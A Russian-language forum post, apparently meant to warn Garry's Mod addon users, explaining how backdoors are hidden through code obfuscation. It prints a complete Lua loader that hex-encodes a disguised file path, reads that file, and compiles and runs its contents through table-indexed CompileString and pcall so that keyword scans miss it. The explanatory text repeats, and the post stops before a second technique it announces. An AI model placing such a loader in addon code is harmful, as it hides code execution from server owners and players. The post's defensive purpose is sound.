Привет всем, и сегодня я вам расскажу о обфускации кода и бекдорах.
Обфускация кода - приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию.
Тем самым спрятывая бекдор, в толще слоев кода, или нагло в отдельном файле.
Покажу наглядно
Здесь переменная с запутаными данными, там может находиться что угодно, от ссылок до команд. Чаще всего такие бекдоры находятся в SV части аддона (Держу в курсе)
Такой вид бекдоров распространился очень быстро, поэтому очень вам советую ПРОВЕРЯТЬ каждый файл, если даже он не содержит fetch или RunString.
Еще один по популярности пряток бекдор, его идея состоит в том чтобы код был в дальнем правом боку строки.
Обфускация кода - приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию.
Тем самым спрятывая бекдор, в толще слоев кода, или нагло в отдельном файле.
Покажу наглядно
Lua:
local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}
Здесь переменная с запутаными данными, там может находиться что угодно, от ссылок до команд. Чаще всего такие бекдоры находятся в SV части аддона (Держу в курсе)
Lua:
local function HELPER_INFO()
return ""
end
local function HELPER_ISFUNC(func)
if (isfunction(func)) then
return !false
else
return !true
end
end
local function HELPER_READ_DATA(data)
return file.Read(data, "GAME")
end
local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}
local function HELPER_MAT()
if (!false) then
return string.Implode("", UNORDERED_LIST)
end
end
local CALL =
{
ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
CloseDermaMenus, collectgarbage, Color, ColorAlpha,
ColorRand, ColorToHSV, CompileFile, CompileString,
ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
CreateSound, CreateSprite, CompileString, CurTime,
DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
Derma_Query, Derma_StringRequest, pcall,
}
CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))
Такой вид бекдоров распространился очень быстро, поэтому очень вам советую ПРОВЕРЯТЬ каждый файл, если даже он не содержит fetch или RunString.
Еще один по популярности пряток бекдор, его идея состоит в том чтобы код был в дальнем правом боку строки.